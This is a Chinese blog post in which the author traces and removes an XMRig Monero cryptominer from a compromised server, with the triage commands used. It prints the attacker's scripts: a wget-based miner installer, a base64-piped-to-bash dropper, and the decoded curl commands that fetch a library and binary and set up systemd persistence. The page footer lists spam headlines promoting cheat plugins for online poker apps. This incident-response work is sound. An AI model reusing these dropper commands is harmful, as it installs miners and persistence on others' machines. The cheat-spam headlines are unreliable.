Xmrig挖矿入侵服务器排查
创始人
2025-01-16 13:06:09
0

Xmrig挖矿入侵服务器排查

type: Post
status: Published
date: 2024/03/19
slug: 240319-xmrig
tags: 建站, 开发, 推荐
category: 技术分享

契机

⚙ 叮咚!阿里云提示你,你的服务器正在被攻击!

问题

Untitled

排查思路

#上去服务器先看看这个文件 ps aux | grep xmrig 

Untitled

#排查下pid关联的文件 -> 没啥收获 ll /proc/{pid}/fd  #查看网络链接,记住关键ip netstat -tunap | grep {pid} #kill再说 kill -9 {pid} #然后全局查找文件(这里要记住文件大概什么时候创建的) find / -name xmrig #rm -rf xmrig相关 rm -rf {xxxx} #检查下定时任务,该取消就取消 crontab -l #再检查下xmrig相关后台程序 -> 我这里使用xmrig关键字没搜到 systemctl list-units --type=service  | grep xmrig 

不出意外的话,5分钟后xmrig又被拉起来了,现在我们知道他有守护程序了。

#查询服务器网络链接,看起来可疑ip记录下pid netstat -tunap  #看看所有的程序 ps aux #以上两个步骤我基本确定下面这个pid很可疑,在看下文件创建时间,与xmrig创建时间一致 /opt/sysetmd 9x25 481.x1.x1.4x #依然看看关联文件->没收获 ll /proc/{pid}/fd  #再kill掉 kill -9 {pid} #删除文件sysetmd相关 rm -rf {xxxx} #再去找自启动服务 这个确实找到了 systemctl list-units --type=service  | grep sysetmd 

Untitled

#直接给他停掉 systemctl stop  sysetmd.service systemctl disable sysetmd.service rm -f /etc/systemd/system/sysetmd.service 

额外收获,发现/etc/systemd/system下有个自启动的service名字和创建时间很可疑

Untitled

#cat查看下 cat monero.service  #文件内容如下,发现xmrig就是这个拉起来的 [Unit] Description=Monero miner service node  [Service] ExecStart=/root/xmrig-6.21.1/xmrig --donate-level 1 -o xxxxxxx Restart=always  [Install]  #直接给他停掉 systemctl stop  monero.service systemctl disable monero.service rm /etc/systemd/system/monero.service  #然后持续观察以下内容 ps aux  top -c netstat -tunap  

最后防止还有其他守护程序被拉起来,再看看对应时间点有哪些文件增加

#查找某个时间段的文件 #忽略/proc文件夹 find / -type d \( -path /proc -o -path /var/lib/docker -o -path /mnt/www/docker -o -path /usr/local/aegis  \) -prune -o -type f -newermt "2024-03-18 00:00:00" ! -newermt "2024-03-19 00:00:00" -print 

Untitled

#找到wawa.sh和update_udp.sh很可疑  #wawa.sh如下 cd /root; wget http://1187xxxxxom/xmrig-6.21.1-linux-static-x64.tar.gz; tar -zxvf xmrig-6.21.1-linux-static-x64.tar.gz; systemctl stop monero.service; rm -rf /etc/systemd/system/monero.service; wget http://xxxxon/monero.service; sysctl -w vm.nr_hugepages=$((1168+$(nproc))); mv monero.service /etc/systemd/system/monero.service; systemctl daemon-reload; systemctl enable monero.service; systemctl start monero.service  #update_udp.sh如下 echo "xxxx==base64encodeexxxxxx"|base64 -di|bash -s #base64解谜如下 curl -s http:/x7/libhv.so -o /opt/libhv.so; cp /opt/libhv.so /usr/lib/libhv.so; cp /opt/libhv.so /usr/lib64/libhv.so; curl -s http://bpxysetmd -o /opt/sysetmd; chmod 777 /opt/sysetmd; curl -s http://bpgx27/sysetmd.service -o /etc/systemd/system/sysetmd.service;systemctl daemon-reload; systemctl enable sysetmd.service; systemctl start sysetmd.service; 

发现和我清除的一致,再持续观察一段时间,还有这个人是真的蠢,为什么部署sh还要留下

总结

  • 找被黑时间左右的所有文件一个一个排查
  • 找文件关联pid
  • 找pid关联fd,端口,ip等
  • 找相关service,排查异常servcie,定时任务全部停止
  • 持续观察cpu,网络等信息

写到最后

  • https://bothsavage.github.io/ 

Untitled

相关内容

热门资讯

值得注意的是!wepoker游... 值得注意的是!wepoker游戏的安装教程,pokemmo脚本,竟然存在有挂(有挂透视)1、进入到w...
来临!哈糖大菠萝挂法,wejo... 来临!哈糖大菠萝挂法,wejoker手机版透视脚本,竟然真的是有挂(有挂总结)1、全新机制【wejo...
明白辅助挂!hhpoker透视... 明白辅助挂!hhpoker透视脚本下载,哈糖大菠萝挂,都是是真的有挂(有挂秘笈)暗藏猫腻,小编详细说...
总结辅助挂!约局吧辅助器,佛手... 总结辅助挂!约局吧辅助器,佛手大菠萝辅助,好像真的有挂(有挂秘诀)1)佛手大菠萝辅助有没有挂:进一步...
此事引发广泛关注!hhpoke... 此事引发广泛关注!hhpoker真的假的,wepoker透视有没有,竟然存在有挂(新版有挂)1、全新...
黑科技辅助挂!wepoker辅... 黑科技辅助挂!wepoker辅助真的假的,扑克之星辅助,果然是真的有挂(有挂规律)进入游戏-大厅左侧...
值得注意的是!aapoker透... 值得注意的是!aapoker透视插件,wepoker私人局开挂视频,真是是有挂(有挂教程)1、每一步...
来临!wpk插件辅助,智星菠萝... 来临!wpk插件辅助,智星菠萝透视,好像确实有挂(真的有挂)1、任何智星菠萝透视透视是真的假的的玩家...
在玩家背景下!佛手在线大菠萝智... 在玩家背景下!佛手在线大菠萝智能辅助器,wepoker辅助软件价格,总是确实有挂(有挂解密)1、佛手...
据玩家消息!有没有人wepok... 据玩家消息!有没有人wepoker,pokerworld软件,切实真的有挂(有挂助手)1、下载好有没...